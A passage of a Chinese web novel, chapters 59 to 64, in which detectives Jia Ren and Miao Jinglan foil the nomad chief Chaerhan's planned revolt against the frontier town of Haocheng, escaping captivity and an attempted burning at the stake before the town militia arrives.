“察尔罕,你和你儿子是疯了吗?你忘记了自己的身份吗?忘记你和我爷爷的约定吗?你还敢想要我,真神是不会原谅你的!”塔汗愤怒的说。 第59章 青稞酒(12) 塔汗做梦也没有想到,色胆包天的察尔罕会打自己的主意。 察尔罕用色眯眯的眼睛打量着塔汗,那个眼神就像是野狼盯着自己嘴里面的羊羔,“嘿嘿嘿,塔汗,别以为我不知道你。你这个爆脾气,可是整个浩城都没有男人敢要你,我愿意娶你还是看着你百户的身份。以后只要我们联姻,你可以在浩城里里外外驰骋,不需要守着大兴国的那些陈规旧律!” 塔汗恍然大悟,“察尔罕,你想造反吗?” “哼,造反?这浩城之前就是我们辽人的土地,只是大兴无耻的拿去了,现在我们只是想要拿回来而已!” 之前塔汗还不敢相信,如今看来现实真如贾仁所说的那样,察尔罕真的有更深的企图。 “你不会成功的,辽国已经没有了,大兴国是不会让你重新建立辽国的。” “哈哈哈哈哈哈哈……”塔汗狂笑不止,“你以为我会让大兴国知道吗?重建辽国我没有兴趣,重建浩城我倒是有把握。你以为这些年我为什么盘踞在浩城周边的草原?” 塔汗忽然想起之前贾仁对自己所说的,察尔罕有上千匹马,组建一个军队也有可能。 她不由有些紧张,后悔真是太低估察尔罕这只老狐狸了! “浩城的百姓不会听你的!”塔汗警告道。 “不,他们会。只要我娶了浩城的百户,就是浩城的女婿,也是这座城的城主。到时候我的人马入驻浩城,我就成了浩城的王!” 察尔罕说这话时眼睛闪烁着精光,他的两个儿子在旁边,也是一脸的期待。 从他们的表情上,塔汗看到了什么叫做狼子野心。 “呸!你们别做梦了!我是不会嫁给你的!”塔汗恨恨地说。 “哈哈,我的小塔汗,这可由不得你!”说完这话,察尔罕吩咐自己两个儿子,“好好招待你们的未来阿嬷,传消息出去,我要迎娶浩城的百户。” “是,阿塔。” 父子三人离开之后,塔汗有些绝望的独自被关在大帐篷。 过了片刻,帐篷外偷偷溜进几个人。 当塔汗看到突然出现的贾仁时,仿佛看到救星一般,兴奋的喊着:“贾……” “嘘——”贾仁制止她发出声音。 塔汗听话的闭上嘴,可是眼睛里面闪烁着泪光。 苗景岚和阿纳汗也悄悄的走进来。 “你说得对,贾公子,察尔罕确实狼子野心。他想当浩城的王,还……还想娶我!”说到最后一句时,塔汗觉得自己的鼻子发酸。 这下子连阿纳汗也愤怒起来,“呸,我就说这个察尔罕是一个老不要脸,一大把年纪还想老牛吃嫩草!塔汗是浩城有名的女汉子,他都敢娶!” 塔汗听着阿纳汗这句话,听着像是在支持自己,怎么觉得有些怪怪的? “你们是怎么逃出来的?”塔汗好奇的问。 之前贾仁叫塔汗假装被迷晕,试探一下察尔罕,塔汗照做了。 而其他三个人也是如此,只是塔汗留在帐篷,其他三个人则悲催的丢进柴房。 察尔罕一心想着利用塔汗的身份帮自己夺取浩城,其他的人他根本就没有在意。 因此苗景岚他们才能顺利的逃走。 “现在不是想这个的时候,本来我们来这里是寻找阿纳汗妹妹,没想到遇到察尔罕想叛乱。阿纳汗,大局当前,我们只能把你妹妹的案子先放一放。等阻止完叛乱,我们再追查你妹妹的案子,你看如何?” 阿纳汗点点头,“我早就看察尔罕那只老狐狸不顺眼,等浩城的案子结束,我们再问那只老狐狸我妹妹的下落!” “塔汗,你手里面有多少可以调遣的人马?”贾仁问。 塔汗仔细想了想,“大兴国不允许百户拥有自己的军队,但是浩城有私下里的民兵队,他们一般是我爷爷属下的后代,平常和普通百姓一样干活种庄稼,只有在我召唤之下才会集中起来。自爷爷以后,百户很久都没有调动民兵队了。整个浩城的民兵队林林总总加起来,大概有四百多人。” 贾仁听到这里,自言自语的说:“我估算察尔罕有一千多匹马,如果有这么多马,就有这么多的骑兵。一千多人马对上四百多没有装备的民兵队,这个局面真是有点儿悬。” 苗景岚有些着急,催促道:“别在这里念念叨叨了,就说现在该怎么办吧?” 塔汗不满的看了苗景岚一眼,这个女人,怎么可以对帅气逼人又善良的贾公子这样凶呢? 贾仁上前解开绑住塔汗的绳索,“塔汗,你偷一匹快马,悄悄溜走。最好赶在天黑之前集合民兵队,赶来察尔罕的地盘。” “你想怎么样?”塔汗觉得不可思议,自己召集四百多人的民兵队怎么可能对抗察尔罕一千多人的队伍? 贾仁又从自己的身上取一块玉佩,交到阿纳汗的手上。 “你也悄悄偷走一匹快马,骑着马赶到浩城的县衙,拿着这个去找丁县令,把这里的情况告诉他,叫他迅速带人来支援。” 阿纳汗也有些犹豫,“县令能够召集到军队?” “他知道怎么做的。”贾仁坚定的说。 “那你呢?”塔汗觉得自己和阿纳汗都走了,留下贾公子一个人在这里,十分的过不去。 “你们不用担心我,我们留在这里做内应。”贾仁笑笑说。 “你们?”塔汗看了看贾仁,又看了看苗景岚,眼中还是留露出担心的神色。 “你就不用担心我们了,我的百户大人,你要是再不快一点,整个浩城将会陷入危机之中。快点行动吧!” 听到这话,塔汗和阿纳汗都飞快的冲出帐篷。 贾仁说得对,只有他们去调救兵才最现实。 因为只有他们生长在浩城,对浩城的环境最为熟悉。 而且浩城也是他们的城池,守卫浩城就是守卫他们的家。 所以,塔汗和阿纳汗都为了守卫浩城按照贾仁的意思去做。 当帐篷里只剩下贾仁和苗景岚时,贾仁笑着对苗景岚说:“岚儿,知道我接下来要干什么吗?” 苗景岚想也不想就说:“你想烧掉他们的粮草。” “聪明!知我者果然是岚儿你呀!”贾仁夸赞道。 第60章 青稞酒(13) “聪明!知我者果然是岚儿你呀!”贾仁夸赞道。 贾仁之所以喜欢和苗景岚呆在一起,不仅仅是因为对方擅长破案,更因为两个人的思路常常是一致的。 其实连苗景岚自己也没有想到,自己已经在不知不觉之中和贾仁的思想渐渐同频。 “你有没有想过怎样做才能找到他们的粮草库?”苗景岚不经意的抛出这个问题。 贾仁笑笑,想也不想就回答:“这还不简单,跟着那个察尔罕和他的两个儿子,趁他们不注意的时候随便找一个逼问一下,不就知道答案了?” 苗景岚却不这样认为,“察尔罕老奸巨滑,先不说我们能不能顺利抓住他,就算真的抓住他,他也未必会说实话。至于他的大儿子扎卡,我觉得那个家伙也是一个硬茬,倒是那个哈尔看起来瘦弱一点,感觉更好下手。” “嗯,那就听你的。” 于是,贾仁和苗景岚两人就开始追踪哈尔。 哈尔的帐篷位于察尔罕草原的外围,一顶雪白的圆形帐篷里,哈尔正躺在柔软的羊毛毯上喝着琥珀美酒,身旁两个容貌秀丽的侍女正在侍奉他。 “阿塔真是老糊涂了,居然叫我娶塔汗那个凶女人。那个女人在浩城是出了名的嫁不出去,如果我娶了她,岂不是一辈子不快活?我看阿塔就是偏心,什么好的都紧着大哥,把我这个小儿子都不当一回事。”哈尔一边喝着美酒一边抱怨着。 漂亮的侍女哄着哈尔,“我们尊敬的哈尔,你不要想这些烦心事,和我们一块喝酒吧。你千万不要娶那个凶巴巴的女百户,如果她成为了我们的女主人,我们该怎么办?” 哈尔的一只手抚上其中一个侍女的胸脯,“放心好了,我不会让那个凶女人进门的。再说了,我有你们就够了,还要别的什么女人?” 贾仁和苗景岚摸到哈尔的帐篷外面,恰好听到他和两个侍女的对话。 苗景岚不由在心里面偷笑,这个女百户塔汗是有多么的凶悍,以致于整个浩城都知道她的凶名,哪怕身份尊贵也没人敢娶她。 哈尔跟两个侍女喝完酒后,就开始在帐篷里面肆无忌惮的亲热起来。 草原上辽人的习俗,一个男人可以娶几个老婆,小叔子可以娶嫂子,至于身边的侍女,那就更是习以为常。 就在哈尔和两个侍女云雨一番的时候,外面在帐篷外等侯着的贾仁和苗景岚则商量着如何对付这个哈尔。 “你有什么办法直接拿下他?”苗景岚问贾仁。 贾仁不假思索,“这还不简单?像他这种好色之徒,当然是色取啦!” “色取?你想要怎样色取?”苗景岚心说,这家伙该不会想要我么诱哈尔那个小色狼吧。 贾仁抓抓头,像是自言自语般说:“这可有点儿难办哟。本来我们岚儿是个大美女,让你出面色诱哈尔是没有一点问题的,但是让你去,我……我心疼啊!” 苗景岚充满玩味的看着对方,嘴角微微勾起,带着一种意味深长的笑意,“其实,我们英俊不凡的贾仁贾公子如果扮成女人的话,也是一顶一的大美人。不说在大兴国,就在这小小的浩城,那绝对是迷倒一大片的存在呀。如果你肯出马,我保证那个哈尔一定会上钩的。” “哼,叫我扮成女人?我怎么扮女人?哪里像了……” …… 几柱香的时间之后,哈尔帐篷里的两个侍女离开,只留下哈尔一个人躺在帐篷里休息。 忽然,有一个穿着破衣烂衫的女子走进来。 “这位好心人,求你救救我,求你救救我!”那个女人突然冲进哈尔的帐篷,跪倒在哈尔的面前。 哈尔被人打断美梦,正要发怒,可是当他看到对方那张标致的脸时,顿时怒气打消了一半。 他看到对方穿着破破烂烂的放羊女的衣服,那衣服上还散发着淡淡的羊骚味,让哈尔感到阵阵的恶心。 平常他要是看到这种邋里邋遢的女人,是理都不会理的,但这个女人长得好看,他决定先弄到手再说,大不了睡她之前先叫她好好洗个澡。 “你是哪家的放羊女呀?”哈尔一看那衣服便认识,那是放羊女特有的衣服。 “哦,好心的公子,我是替我哥哥来放羊的。可是我哥哥娶了嫂嫂,他们一块欺侮我,说我吃得多,还不给我饭吃。我哥哥听了我嫂嫂的,还把我打一顿。” 在帐篷外听到贾仁说出这样一段台词,让苗景岚忍不住笑起来。 这是什么样的弱智台词,亏贾仁会编。 可是,这样的弱智台词却唬住哈尔,同样对哥哥不满的哈尔感同深受,抱怨着,“哼,所有当哥哥的都不是什么好东西!他们就会欺侮自己的弟弟妹妹。你叫什么名字呀,美丽的放羊女?你不用担心,我会帮你的。” “我叫阿兰。” “好,阿兰,你还没有吃饱饭吧。我这帐篷里有许多好吃的,随便你怎么吃。” “谢谢你,你真是一个好人。” “阿兰啊,我看你以后就跟着我吧。每天在我帐篷里干活,比你在外面放羊强!” “哎呀,那太好了,我就喜欢跟在好心人的身边。”名叫“阿兰”的放羊女对哈尔报以一个妩媚的笑容。 可是,还不等哈尔再说话,就听到脑后勺有一阵轻风刮过,然后就不醒人事了。 等他再醒过来时,天已经黑下来。 草原的夜晚天黑得要比其他地方早,苗景岚估摸一下时间,这就好比现代的冬令时。 看这天刚刚黑下来,估摸着现在相当于五点多钟,也不知道塔汗和阿纳汗有没有到达浩城。 不过,不管他们有没有成功,自己和贾仁的第一步计划必须成功。 这是关键! 哈尔醒过来,看到自己并没有躺在舒舒服服的帐篷里,身边也没有漂亮的侍女,取而代之的是两个陌生人。 一个长得清冷的大兴国女人,还有一个英俊的男人,这个男人看着还有一些眼熟。 哈尔揉了揉眼睛,终于认清眼前这个男人就是刚才假扮的放羊女。 哈尔怒不可遏,“原来是你?!你这个骗子!!!” 第61章 青稞酒(14) 哈尔恼羞成怒,不光是因为自己被人绑架,更因为刚刚才看上的放羊女居然是一个男人。 “哈哈哈哈哈哈……我的好心人,你不要生气!只要你帮我们一个忙,我们就立刻放了你。” 哈尔一脸警惕的问道:“你们要我帮什么忙?” “告诉我,你们的粮草库在哪里?” “哈哈,你以为我会那么傻,把这个告诉给你们吗?”哈尔得意洋洋的说道。 “哦,我的好心人。那没有办法,我们只能给你一点儿教训了。岚儿,该你上场了!”贾仁朝苗景岚做一个鬼脸。 苗景岚立刻冷冰冰的走上前,上一世她也学过如何逼供,对这种不听话的家伙就应该上一点硬手段。 更何况她早就看这种色坯不顺眼了。 “啪啪啪啪啪啪啪……”苗景岚的手左右开工,不一会儿就把哈尔那张自以为英俊的脸给打得鼻青脸肿。 刚刚还自以为是的哈尔在这样一番操作之后,立马怂了。 “不要打了,不要打了,……求求你们,不要再打了!” 再打下去,那张脸别说草原上的漂亮姑娘不认得,就连他亲爹和亲大哥跑过来,也未必认得出来。 “求你们不要再打了,我说,我什么都说!” “好,痛快,告诉我你们游牧族的粮草放在哪里?” “我们游牧族的人不喜欢储存粮草,阿塔每半个月给每一个骑兵发放五十斤粮食。平常他们都是将粮草随游牧族的人马一块走的,没有固定的粮草库。” “什么?你老子想要造反,连粮草库都没有?”哈尔不太相信这个答应。 被打得流鼻血的哈尔委屈巴巴的说:“我说得千真万确。” 贾仁沉默片刻,觉得这个答案有点难以置信,但想一想也不是没有可能。 辽人的生活习俗和带兵风格同大兴国完全不同,他们习惯马背上作战,带着太多的粮食确实不好行动。至于马车上随机带粮食,可能是为了方便行走。 这样粮草库不固定,也少了软肋在别人的手中。 苗景岚也说:“他说的可能是实话,游牧族的人没有囤粮的习惯。看样子我们的第一步计划需要调整。” “那他怎么办?”贾仁带着几分不怀好意思的目光看向哈尔。 哈尔看到这目光,莫名的后背发凉。 苗景岚说:“当然是把他打晕,丢到隐秘的地方。要不然等他醒过来通风报信,我们的计划就无法成功。” “好,让我来!” 贾仁说完,上前就用粗木棍狠狠的敲对方的脑袋一下。 “你这一敲,别说把他敲晕,只怕他脑震荡都敲出来了。”苗景岚看见,忍不住吐槽一句。 贾仁把棍子一丢,还不解恨的说:“谁叫这家伙色胆包天,什么人都敢肖想。我希望他最好敲成傻子!” 苗景岚在心里面吐槽:这一回之后,想必他就算不成傻子,以后再看到漂亮的女人也会有心理阴影。 打晕哈尔之后,贾仁又用一些干稻草把哈尔给盖住,以免被人发现。 按照苗景岚和贾仁之前的计划,他们这边把游牧族的粮草库给烧掉,断了他们的粮草,就不怕察尔罕叛乱。 可是,在听到哈尔的话之后,他们临时又改变计划。 既然烧不成粮草库,那就只能改成烧帐篷。 虽然这比烧粮草库的风险性更大,但为了浩城的安危,他们只能选择铤而走险。 …… 塔汗骑上一匹马,飞快的朝浩城奔驰而去。 其实她对游牧族这一片的草原不熟,但一想到察尔罕狼子野心想吞下浩城,她就又抽了抽手中的马鞭。 她的骑术其实不错,但连续骑上几个时辰的马,整个人坐在马背上都觉得有些腰酸腿软。 可是,当她想到贾公子为救浩城还身陷囹圄,她身为浩城百户怎么可以不以身作责。 虽然浩城的整个护卫队平常都缺乏训练,而且所有的人数加起来不过四百余人,跟估算有上千人马的察尔罕的队伍相比,真是小巫见大巫,她也打算努力试一试。 她身上还流淌着叶将军后人的血,绝对不能还没有开战就认输。 当落日的余晖像血红的地毯披在浩城大地时,塔汗的马终于赶到浩城。 有认识塔汗的人向她打招呼,可是此刻的塔汗根本不予理会,直接骑着马冲上浩城最高的塔楼。 她跳下马,一口气冲向塔楼,然后摇响楼顶的塔钟。 “咚、咚、咚……”还带着锈迹的塔钟发出生闷而苍老的声音。 多少年了,浩城的塔钟都没有响起。 上回响起来,还是在叶老将军在世的时候。 因为所有的浩城老百姓都知道,塔钟响起,就要自发的集结成队伍,浩城有性命攸关的事情发生。 “怎么了?怎么了?塔钟怎么响了?” “这都多少年了?塔钟为什么会被敲响?” “到底发生什么事了?” …… 不明真相的浩城百姓涌到塔楼楼下,塔汗站在塔楼上,冲楼下的百姓喊道:“察尔罕叛变了,他想要夺取浩城,现在他们的骑兵就在浩城外的草原上集结,这两天就会对浩城发动攻击!” “什么?察尔罕要叛变?这怎么可能?”塔汗的话犹如石破天惊,浩城的百姓简直不敢相信。 “察尔罕狼子野心,这些年一直隐藏实力,偷偷培养骑马和军队,欺骗了我爷爷,也欺骗了我。此刻,他和他的人马就在城外,只等时机成熟就会夺下浩城。” “那怎么行?察尔罕这头老狐狸,居然叛变?我们一定不能放过他!” “可是,他们人比我们多呀。我们这么多年没有都没有训练,也没有训练,我们打得过他们吗?还是等大兴人过来再说吧!” …… 大家七嘴八舌的议论着,有人愤怒,但更多的是担心和忐忑。 这个时刻,塔汗拿出身为百户的担当。 “我知道大家还在犹豫,我也跟你们一样,感到害怕和紧张。但是,浩城是我们的家园,我们不能让别有用心的人来毁掉他。我可以不当这个百户,也可以丢掉自己的性命,但我们绝对不能让别人毁掉我们的家园,毁掉浩城的平静!” 塔汗的话激起大家的勇气,“对,我们不能让别人毁掉我们的家园。跟着塔汗对察尔罕出兵吧。” “塔汗,我们跟着你!” “走,杀掉察尔罕那头老狼!” …… 数百名浩城百姓朝草原而去,他们举着火把,拿着武器。 队伍从浩城走过,有的义愤填膺的浩城女人也举起火把,甚至拿起家里的马鞭,跟着队伍朝远处浩浩荡荡走去。 第62章 青稞酒(15) 这两天丁县令睡得特别不好。 他少年家贫,寒窗苦读数十年才中举。 就在同窗们纷纷在朝廷里大展拳脚之时,他还赋闲家中,家徒四壁。 好不容易有了官职空缺,却是要来到偏远的西北。 举目无亲,孤苦伶仃,而且这个县令还有名无实。 这一切都无所谓了,如今他已经过了不惑之年,不知道在这里还能做几年县令,能不能顺利告老还乡。 前两天这里突然跑来一个京城贵客,虽然不知道他们的确切身份,但是他拿出的那块玉佩上面雕刻的图案,他一眼就认出来,以致于他吓得当时就想跪下来。 只是他不明白,那样身份的人来这种偏远的城池干什么? 把他引荐给那个女百户,也不知道会引出什么幺蛾子。 他莫名的有些惶恐,以致于睡眠都不好。 “老爷,老爷,门口有个小乞丐找你。”县衙里的一个小衙役急匆匆的跑进来。 “这么晚了一个小乞丐来找我也要通禀,你们都干什么吃的?不会给他一点吃的打发他走人吗?”丁县令没好气的回答,自己身边的这几个人真是一点儿也不中用呀。 “可……可是他还拿来了一块玉佩,说见到玉佩你一定会见他。” “什么玉佩?”丁县令有一丝惊讶。 衙役拿出那块玉佩给丁县令看,丁县令立马跳起来,他精光的老眼立马认出那块玉佩,“人呢?怎么不带进来?” 当阿纳汗气喘吁吁的骑着快马来到浩城县衙时,天已经彻底黑了。 他拿着玉佩进到县衙,希望那个草包县令快点去救贾公子和大恩人。 一见到丁县令,阿纳汗就把事情的经过说一遍。 顿时,丁县令的脸立马垮下来。 叛乱?察尔罕这个老匹夫居然敢叛乱? 大兴国太平多少年,这时候边关发生叛乱,不知道皇帝那边会怎样想。 浩城并没有军队驻扎,最近的边境守军还在十六里以外的宁海关。 来浩城这么久,丁县令还是最讨厌骑马。 他这老胳膊老腿的,真的经不起颠簸,但如今事发突然,他若不是亲自去,恐怕都见不到边关的首领。 “快快备马,我要去宁海关一趟。” …… 苗景岚和贾仁开始第二个计划。 他们没有找到粮草库,转而改成到处放火。 他们选择的第一个帐篷就是之前绑架塔汗的大帐篷,之后,他们兵分两路。 一个朝南,一个朝北,分别点燃游牧族的帐篷。 此时正值夏末秋初,天色刚刚暗下来,游牧族的人正忙着在帐篷外点燃篝火做饭,没有谁察觉到帐篷会有人放火。 “着火了,着火了!” 当有人喊起来的时候,正忙着做饭的游牧人忽然发现周围都是火的帐篷。 一顶又一顶燃烧着的帐篷像是一连串用火连接而成的圈套,把游牧族人团团围住。 察尔罕看到突然烧起来的火,除了惊讶之外更多的是恐惧,他吩咐长子:“快到我的帐篷里,看看塔汗还在不在里面?” 没过多久,卡扎带回不好的消息,“阿塔,不好了,塔汗不在里面。不光是他,跟塔汗一块来的那两个大兴人也不见了!” 察尔罕恨恨的一跺脚,“真是该死!塔汗这个死女人,坏了我们的大事!” “阿塔,现在该怎么办?” “快,快召集所有的骑兵,我们现在就开始向浩城发动进攻!”察尔罕命令道。 “可是,阿塔,我们的骑兵从来没有真正打过仗,有的还是从牧民调过来的。现在发动进攻,我们没有完全的把握!” 察尔罕打断儿子的话,“现在已经没有时间,只要塔汗这个女人回到浩城,我们就没有没头路。趁着大兴国的军队还不知道这件事情,我们即刻拿下浩城,否则我们都会性命不保。” 卡扎听到父亲的命令,马上开始调动人马,同时他还吩咐一小队人寻找在草原上放火的家伙。 好在贾仁和苗景岚分开来,又趁着夜色行动,所以没有那么容易被逮住。 愤怒的游牧人开始四处寻找放火者,“快点,快点,看看帐篷周围有什么陌生人。抓住了,格杀无论!” 苗景岚躲在一处草丛之中,高高的野草包裹住她的身体,在夜色之中没有人能够发现他。 “卡扎,我们抓到一个陌生人。他鬼鬼祟祟的在我们的帐篷周围游荡,手上还拿着火把。” 几个牧民抓住贾仁带到卡扎面前。 借着火光卡扎仔细打量贾仁一眼,忽然大声说:“我认得你,你就是跟塔汗一块来的那个大兴人。一定是你在这里放的火,烧掉我们的帐篷,我要杀了你!” 愤怒的卡扎抽出手中的大刀,就要朝贾仁的脖子上砍去。 千钧一发之时,苗景岚从草丛里面冲出来,直接飞起一脚朝卡扎的脑袋上踢去,直接把卡扎踢懵。 贾仁看到突然跑出来救自己的苗景岚,不由哈哈一笑,还调侃一番,“我的宝贝岚儿,我就知道你舍不得我死的。” 苗景岚没好气的瞪对方一眼,“都什么时候了,还有心情开玩笑,还不快跑?” 说完这话,她拉起贾仁的手就拼命往前面跑。 可是,卡扎可不同于他的弟弟哈尔。 哈尔好色无能,卡扎是被他的阿塔精心培养过的,身体强健,武艺高强。 苗景岚的那一脚虽然踢到他的脑袋,但是并没有把他踢倒。 晃一晃脑袋的卡扎,清醒过来,用一双鹰隼一般的眼睛盯着苗景岚:“好,另一个也在这里,等一下一块杀了,还不用我跑来跑去到处找人。” 他大声招呼所有人,“所有人听令,抓住那两个大兴人,无论生死,都赏十头羊和一匹骏马!” 听到有赏赐,所有的骑兵和牧民都像疯了一样,追赶着苗景岚和贾仁。 “岚儿,我说咱们这一回是不是要死在这里呀?”贾仁没命的往前跑,时不时的还要躲过想要袭击自己的骑兵和牧民。 “少废话,赶紧逃,我们要在援军来之前保住自己的小命。” “岚儿,要是我们今天死在这里,算不算是患难夫妻?” “呸,谁跟你是夫妻?快闭上你的乌鸦嘴,我还要活个百八十年呢,才不想跟你一样做个短命鬼!” “岚岚,都这个时候了,你就不能对我说点好听的?要是我们真的逃出去,你能不能一辈子跟我在一起?” 第63章 青稞酒(16) 苗景岚没有想到,都到这节骨眼上,贾仁还有心情提这个。 “我说你到底是没心没肺,还是缺心眼?都到这份上,你居然还在想这个?” “因为这对我很重要。”贾仁一边跑,一边气喘吁吁的说。 “你可真会挑时候。”如果现在大家不是在逃命,苗景岚真想狠狠的踹他一脚。 周围追上来的游牧族牧民越来越多,愤怒的游牧族人把苗景岚和贾仁围成一团。 卡扎手执着火把追上来,看到围在中间的两个人,脸上划过一丝阴狠的神色。 “跑啊,有本事接着跑啊?有种在我们草原上放火,没种留下来承认吗?你们这些大兴国的孬种!”卡扎恨恨的骂道。 贾仁冷哼一声,“我们大兴岂是你们这些莽夫可以说三道四的,以为纠结几个骑兵就可以自立为王,真是痴人做梦!” “是不是做梦,你以后就可以看到!来人呀,把这两个人绑到柱子上,我要亲手烧死他们!” 一柱香的时间之后,苗景岚和贾仁两个人被绑在游牧人的柱子上,脚下堆满了柴火。 准备出发的游牧骑兵排成一排排,他们走之前打算拿他们两个人祭旗。 “各位勇敢的战士,我们是辽人的后代,世代生长在这片土地上,是大兴国的人闯入我们的世界,并且夺走了我们的土地。如今过了这么长的时间,我们要把它们夺回来。” 卡扎骑着马,一只手里面执着火把,一指柱子上绑着的两个人:“就是这两个大兴人,今天烧掉我们的帐篷,毁掉我们的家园,我要亲手烧死他们。然后我们一起出发,夺回我们的城池!” 人群之中不知道是谁喊了一句:“夺城池,回家园!” “夺城池,回家园!” “夺城池,回家园!” …… 卡扎的这一举动,很快调动游牧族人的斗志,大家都一心想攻取浩城,回到自己的家园。 眼见着卡扎一步一步的向自己靠近,苗景岚忽然有点不甘心,重活一世,虽然她也亲手揭开过许多案件的真相,但是并没有活成自己想要的样子。 “岚儿,想不到我们今天要双双死在此处。不过,我们两个生不能在一起,但是一块死也是不错的!”贾仁在最后一刻还不忘向苗景岚告白。 “贾仁,你能不能告诉我一件事情。你到底是谁?” 眼见着都到生命中的最后一刻,苗景岚想知道自己这个探案塔子真正的身份。 一想到这有可能是最后能对苗景岚说的话,贾仁说出最后的真相:“岚儿,其实我并不是什么贾公子,我是京城的隐王爷,是皇城里最小的皇子,也是最不得宠的皇子。我和皇兄关系较好,所以皇兄继位之后才可以生活惬意。没想到朝中有人在背后诬陷我是前朝逆王之子,让皇兄忌惮我。为了寻求真相,我才隐藏身份,独自追查真相。” “那你追查到了吗?”苗景岚听到这话先是觉得惊讶,后来又觉得好奇,想不到看上去开朗嘴贱、没心没肺的贾仁还有这样曲折离奇的身世。 贾仁黯淡的摇摇头,“我离开京城之后,发现所有与逆王有关的消息像是被人全部清除了一样,有人甚至不知道这个世上有过这个人。” “不过,我最庆幸的是,我出来这一趟遇上了你。你聪明睿智,思维敏锐,观察力强,是一个天生适合探案之人。我本想眼你混熟一些,把你带到京城查清楚当年的事情,没想到今天却要命丧于此。” 苗景岚看到贾仁失望的样子,安慰道:“我答应你,只要我们这一回侥幸活下来,我就随你查清楚你的身世。” “可惜……我们怕是等不到那天了!” 卡扎已经把贾仁和苗景岚脚下的柴火点燃,雄雄的火苗迅速的燃烧起来,火光很快把两个人围住。 浓烈的烟味呛得苗景岚想咳嗽,越来越高的温度让她的大脑渐渐缺氧,神志开始变得模糊。 贾仁转过头来,对着苗景岚还在说什么:“岚儿,如果我们这一回侥幸活下来,我希望……我们不仅能在一起查案,我更希望……你成为我的娘子!” 可惜贾仁后面说的话,苗景岚一句也没有听清楚。 一阵阵的浓烟呛得苗景岚感到窒息,根本没有听清楚旁边的人说什么。 她只感觉到火苗朝他的脚上窜,马上就要烧着她的衣服。 真没有想到,重活一次穿越一回,居然还是这样一个死法,真是不甘心啊。 就算要死,也至少要破获一个最大的案子再死,死在公务上是她一生的荣耀。 可就这样死在草原上,还被一大堆无知的游牧族人烧死,真是遗憾。 不过,最让她觉得遗憾的是还没有帮阿纳汗找到他的妹妹。 也不知道阿纳汗有没有找到丁县令,有没有去搬援兵……哎,这只怕又是一个悬案了。 正当苗景岚觉得自己一定会死在这里的时候,就觉得地面仿佛在震动一般。 是发地震吗?感觉又不太像。 而且有什么声音由远及近慢慢靠近。 苗景岚眯起眼睛,努力朝黑暗中探寻声音的来路。 只见一队浩浩荡荡的人马每个人举着火把,步调一致的朝前走。 而在这支队伍最前面的是骑着马的骑兵,之后是跟随在马队后面的步兵,说是步兵还不确切。 因为他们有男有女,有老有少,每个人手里面或是拿着菜刀,或是拿着铁铲、木棍、耙子,甚至马鞭,一个个怒气冲冲地朝这边赶。 与其说他们是训练有速的军队,还不如说他们是一伙听说自家孩子被人欺侮赶过来报仇的父母。 而走在队伍最前面的,是他们最熟悉的人影——塔汗。 看到塔汗出现,苗景岚和贾仁都同时松一口气。 苗景岚更是觉得佩服,想不到这个塔汗到是一个说干就干的性格。 原以为她没有这么快集合起人马,没想到她在浩城的号召力这么大。 这浩浩荡荡的人马,应该不止三四百人,看上去都快接近上千人了。 这些人或许不一定是察尔罕人马的对手,但绝对可以唬他们一下。 第64章 青稞酒(17) 塔汗带着数百人的队伍,却有着几千人才有的气势。 这一是因为他们师出有名。塔汗作为浩城的百户,可以名正言顺的带着军事力量来保卫浩城。 反而察尔罕这里,虽然有着上千人数的骑兵,但是这些年察尔罕私下里集合的力量。 所以,当塔汗带着几百人杀到时,卡扎带着人瞬间变得心虚起来。 “我是浩城的百户塔汗,所有游牧族的百姓听好了,察尔罕是叛徒,他带着你们去讨伐浩城就是**。趁着朝廷还没有追究下来,大家快放下武器投降,否则朝廷追究下来,你们都是要掉脑袋的。只要大家安分守己的继续在草原上生活,我保证大家不会受到任何的惩罚!”塔汗骑在一匹枣红色的骏马上,对着对面的游牧族的百姓说。 塔汗的话引起正准备出发攻打浩城的骑兵注意,他们那颗蠢蠢欲动的心有些害怕。 毕竟谁都不想受到朝廷的惩罚,更不想因此而丢脑袋。 可是,卡扎不甘心自己的人就此打退堂鼓。 他扭头朝身后的骑兵们说:“大家不要听她蛊惑。我们游牧族都是辽人的后裔,这些年我们在草原上生活,哪里有过不安分守己?可是,他们浩城的大兴人怎么对我们的呢?最肥沃的土地被他们霸占着,我们只能在最贫瘠的草地上放羊。他们丰收的时候,却从来没有想过分一粒粮食给我们,他们根本没有把我们当作他们的子民。我们辽人的后裔可以战死,却不能被吓死。大家随我一起来,让浩城变成我们的城池!” 卡扎的话让身后原本还在犹豫的骑兵又燃起雄心壮志,身为辽人的后裔是他们刻在骨子里的荣耀,谁愿意一辈子做缩头乌龟呢?更何况就算他们一块去打仗,还有卡扎在前面冲锋献阵。 两边的人隔着十几米远的距离,眼看就要一触即发。 这个时候,察尔罕不知道从哪里钻出来,他身边的几个人还带来一男一女两个人。 苗景岚本来可以先跑,但是为了救贾仁放慢了脚步,贾仁却想借这个机会和苗景岚确立关系,恰巧被察尔罕的人给逮个正着。 “塔汗,你的朋友还在我的手上,如果你想开战,最好想一想他们两个。”察尔罕把苗景岚和贾仁给抛出来。 贾仁被绑成一个粽子,狼狈的被丢在众人面前。 塔汗看到那个英俊的京城来的公子脸上变得乌黑,不由有些担心:“贾公子,你没事吧。有没有受伤?” “我还好,你不用管我。保住浩城是目前最要紧的事情,他不敢拿我怎么样的。” 话音刚落,察尔罕就上前一步,往贾仁身上踹了一脚,还不满的冷哼一声:“就你话多!” 塔汗看到贾仁被踹,心里面一紧,“察尔罕,你放过贾公子,我保证你投降之后既往不咎!” “哈哈,塔汗,你现在还不明白吗?如今不是你同我谈条件,是我同你谈条件。叫你的人不许动,否则我立马杀掉这个大兴男人!” “你敢?!”塔汗嘴上说着厉害,但心里面还是很担心贾仁安危的。 虽然她和贾仁相识的时间不长,但不知道为什么她就是很关心这个从京城来的公子的安危。 “哈哈,你看我敢不敢!”说完,塔汗拿出刀架在贾仁的脖子上。 顿时,塔汗被唬住了。 “别,别伤害贾公子,我退后!”为了贾仁,塔汗选择妥协。 众人不由暗暗吃惊,连苗景岚也很是惊讶。 这个浩城的百户居然为了贾仁而撤兵,难道…… 还不等苗景岚多想,贾仁这个作死鬼的声音响起:“塔汗姑娘,你不要因为我而影响士气,这个老匹夫不敢对我怎样。” 可塔汗一点也没有听进去贾仁的话,还跟察尔罕协商:“你把贾公子放过来,我退后十米。” “不,要放两个人一块放,否则我哪里也不去!”贾仁说这话时,还下意识的往苗景岚身边靠一靠,大有此刻跟苗景岚同生共死的感觉。 苗景岚却从心里面翻了一个巨大的白眼,心说,要不是你这货,我早就跑了,还不是你拖累我,现在倒装起情深意重来了。 